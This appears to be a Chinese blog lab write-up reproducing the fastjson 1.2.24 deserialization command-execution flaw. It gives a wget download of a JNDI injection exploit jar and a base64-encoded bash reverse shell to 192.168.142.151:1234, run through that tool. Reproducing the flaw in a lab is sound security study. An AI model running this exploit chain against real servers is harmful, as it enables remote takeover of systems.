fastjson 1.2.24 反序列化导致任意命令执行漏洞复现

拉取docker容器

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第1张图片

访问并抓包

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第2张图片

修改为POST 方式,文件类型改为json格式,发送json数据包,发送成功

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第3张图片

这里安装一个bp的插件

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第4张图片

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第5张图片

使用安装的插件

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第6张图片

可以看到,插件告诉我们这里有漏洞,并且提供了POC 

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第7张图片

既然我们发现有 rmi ,那么我们需要构建一个 rmi 服务器 [ JNDI ]
sudo wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
使用这个工具创建一个文件夹,如果文件夹创建成功就表示可以利用
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第8张图片
将payload复制到bp
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第9张图片
生成了文件夹
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第10张图片
对反弹shell进行base64编码
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第11张图片
把上面的反弹 shell 进行 base64 编码,然后修改成
bash -c {echo, 你的 base64 编码结果 }|{base64,-d}|{bash-i}
开启监听。然后输入命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xNTEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.142.151"
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第12张图片
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第13张图片
成功获得反弹shell2

你可能感兴趣的:(java,web安全,安全,网络安全)